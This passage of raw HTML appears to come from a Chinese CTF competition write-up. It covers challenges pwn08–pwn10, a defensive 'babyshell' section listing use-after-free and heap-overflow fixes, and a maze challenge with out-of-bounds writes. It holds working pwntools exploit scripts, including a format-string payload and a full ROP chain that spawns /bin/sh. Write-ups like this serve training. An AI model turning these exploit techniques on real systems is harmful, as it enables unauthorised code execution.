220px;" data-type="png" data-w="877" src="https://wechat2rss.xlab.app/img-proxy/?k=1085fd80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHCkwT7KYjDotI6q8TLF48sibLgFIb35S0cgqMsUa2iaTEKDbN70ibCAwpQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pwn <span class="code-snippet__keyword">import</span> *            </span></code><code><span class="code-snippet_outer">sh=process(<span class="code-snippet__string">&#39;./r8&#39;</span>)            </span></code><code><span class="code-snippet_outer">sh.recv()            </span></code><code><span class="code-snippet_outer">context.arch = <span class="code-snippet__string">&#39;i386&#39;</span>            </span></code><code><span class="code-snippet_outer">payload=fmtstr_payload(<span class="code-snippet__number">4</span>,{<span class="code-snippet__number">0x80ebf9c</span>:<span class="code-snippet__number">28</span>},<span class="code-snippet__number">0</span>,write_size=<span class="code-snippet__string">&#39;byte&#39;</span>)            </span></code><code><span class="code-snippet_outer">sh.send(payload)            </span></code><code><span class="code-snippet_outer">sh.interactive()           </span></code></pre></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-bottom: 8px;margin-top: 8px;"><span style="font-size: 18px;"><strong>pwn09
  </strong></span></h2></li></ul><p>通过整数溢出绕过长度限制，构造长度为263的输入，263转为int8后由于溢出会变成7，strcpy即可造成v2缓冲区溢出。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="411" data-cropsely1="0" data-cropsely2="309" data-ratio="0.7526455026455027" style="width: 411px;height: 309px;" data-type="png" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=67fc9f87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHrfNz4oBFQGNQamvvvwvFrVm26thtYuec1ZnuR9YmkR1H1HZZKhPtOQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from pwn import *</span></code><code><span class="code-snippet_outer">from struct import pack</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">sh=process(&#39;./r9&#39;)</span></code><code><span class="code-snippet_outer">sh.recv()</span></code><code><span class="code-snippet_outer">sh.sendline(&#39;1&#39;)</span></code><code><span class="code-snippet_outer">sh.recv()</span></code><code><span class="code-snippet_outer">p=b&#39;a&#39;*29</span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806fe3b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb060) <span class="code-snippet__comment"># @ .data</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805c34b) <span class="code-snippet__comment"># pop eax ; ret</span></span></code><code><span class="code-snippet_outer">p += b&#39;/bin&#39;</span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805558b) <span class="code-snippet__comment"># mov dword ptr [edx], eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806fe3b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb064) <span class="code-snippet__comment"># @ .data + 4</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805c34b) <span class="code-snippet__comment"># pop eax ; ret</span></span></code><code><span class="code-snippet_outer">p += b&#39;//sh&#39;</span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805558b) <span class="code-snippet__comment"># mov dword ptr [edx], eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806fe3b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb068) <span class="code-snippet__comment"># @ .data + 8</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x08049643) <span class="code-snippet__comment"># xor eax, eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0805558b) <span class="code-snippet__comment"># mov dword ptr [edx], eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080481c9) <span class="code-snippet__comment"># pop ebx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb060) <span class="code-snippet__comment"># @ .data</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080e0151) <span class="code-snippet__comment"># pop ecx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb068) <span class="code-snippet__comment"># @ .data + 8</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806fe3b) <span class="code-snippet__comment"># pop edx ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x080eb068) <span class="code-snippet__comment"># @ .data + 8</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x08049643) <span class="code-snippet__comment"># xor eax, eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0807b8f6) <span class="code-snippet__comment"># inc eax ; ret</span></span></code><code><span class="code-snippet_outer">p += pack(&#39;&lt;I&#39;, 0x0806da13) <span class="code-snippet__comment"># int 0x80</span></span></code><code><span class="code-snippet_outer">p+=b&#39;\x90&#39;*102</span></code><code><span class="code-snippet_outer">sh.send(p)</span></code><code><span class="code-snippet_outer">print(len(p))</span></code><code><span class="code-snippet_outer">sh.interactive()                             </span></code></pre></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-bottom: 8px;margin-top: 8px;"><span style="font-size: 18px;"><strong>pwn10
  </strong></span></h2></li></ul><p>IDA分析程序，发现输入0时，会调用后门函数。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="571" data-cropsely1="0" data-cropsely2="219" data-ratio="0.383" style="width: 572px;height: 219px;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=0e1665b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHTIibUa7NymYBLxYShEcNIicIsOxlSW2ve3icvMkQ4t2Aiae2yxOhKibytCw%2F640%3Fwx_fmt%3Dpng"/></p><p>直接输入0即可获得shell。</p><h2 style="margin-top: 8px;margin-bottom: 8px;white-space: normal;"><span style="font-size: 20px;"><strong>四、RDG（实景防御）</strong></span></h2><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h1 style="margin-bottom: 8px;margin-top: 8px;"><span style="font-size: 18px;"><strong>babyshell   </strong></span><br/></h1></li></ul><p>漏洞：free指针后未置空、堆内写入大小未作限制。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="219" data-cropsely1="0" data-cropsely2="67" data-ratio="0.30445544554455445" style="width: 220px;height: 67px;" data-type="png" data-w="404" src="https://wechat2rss.xlab.app/img-proxy/?k=7b2b226f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHULQ7zZL6tG87aj92Cs5kMHSoCQOhO1Zg4V6ibY1oKDbgJm1RaKluJ4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="443" data-cropsely1="0" data-cropsely2="186" data-ratio="0.4208588957055215" style="width: 443px;height: 186px;" data-type="png" data-w="815" src="https://wechat2rss.xlab.app/img-proxy/?k=751c0e4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHvByPJ9jZQrlUc3nnvEibxaNLVnj5nO4B4Hcib3B6bn9ibgfibALyhMp3zw%2F640%3Fwx_fmt%3Dpng"/></p><p>修复：</p><p>1.将free后的指针清空。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="517" data-cropsely1="0" data-cropsely2="104" data-ratio="0.20105263157894737" style="width: 517px;height: 104px;" data-type="png" data-w="950" src="https://wechat2rss.xlab.app/img-proxy/?k=c9f86d13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHS8AspBicfgormjhibfhBicQlpuDZF4ZUu0mMULgfTNA2eArahmTNhY3Ug%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="210" data-cropsely1="0" data-cropsely2="89" data-ratio="0.4252577319587629" style="width: 210px;height: 89px;" data-type="png" data-w="388" src="https://wechat2rss.xlab.app/img-proxy/?k=88579f7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHHhdfHcMm1rOJjytkT709tpWgfHNWJoibt591bw7Xy7Vd7Kp8z0l6TCA%2F640%3Fwx_fmt%3Dpng"/></p><p>2.对写入堆中的长度做限制。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="104" data-ratio="0.18" style="width: 578px;height: 104px;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=1e345b06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHGrEwwCictPj5jpHz5IR4ky9Tp67deMhcdyAI4zibjDDbw3gFepDoAxXg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="485" data-cropsely1="0" data-cropsely2="217" data-ratio="0.44730941704035876" style="width: 485px;height: 217px;" data-type="png" data-w="892" src="https://wechat2rss.xlab.app/img-proxy/?k=849032c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHIBKhC3TjtibzBNNclpMXaRC8v7ibaQ9rtEz3B0TTZZZzHjmibw1mZic3DA%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><h2 style="margin-bottom: 8px;margin-top: 8px;"><span style="font-size: 18px;"><strong>babymaze
  </strong></span></h2></li></ul><p>分析程序发现为迷宫题，并且可以对迷宫中所在位置的值进行修改。</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="485" data-cropsely1="0" data-cropsely2="67" data-ratio="0.13804713804713806" style="width: 485px;height: 67px;" data-type="png" data-w="891" src="https://wechat2rss.xlab.app/img-proxy/?k=d323887f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VH00H6MuSodStHfDlMOREOFQVVZkv5M9ESTKvxZ0JcO8VFXdfbIIJJSQ%2F640%3Fwx_fmt%3Dpng"/></p><p>迷宫如下所示，2为墙，由于四周的墙不完全封闭，可以导致坐标溢出到迷宫之外的地址，实现任意地址覆盖。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>]            </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span 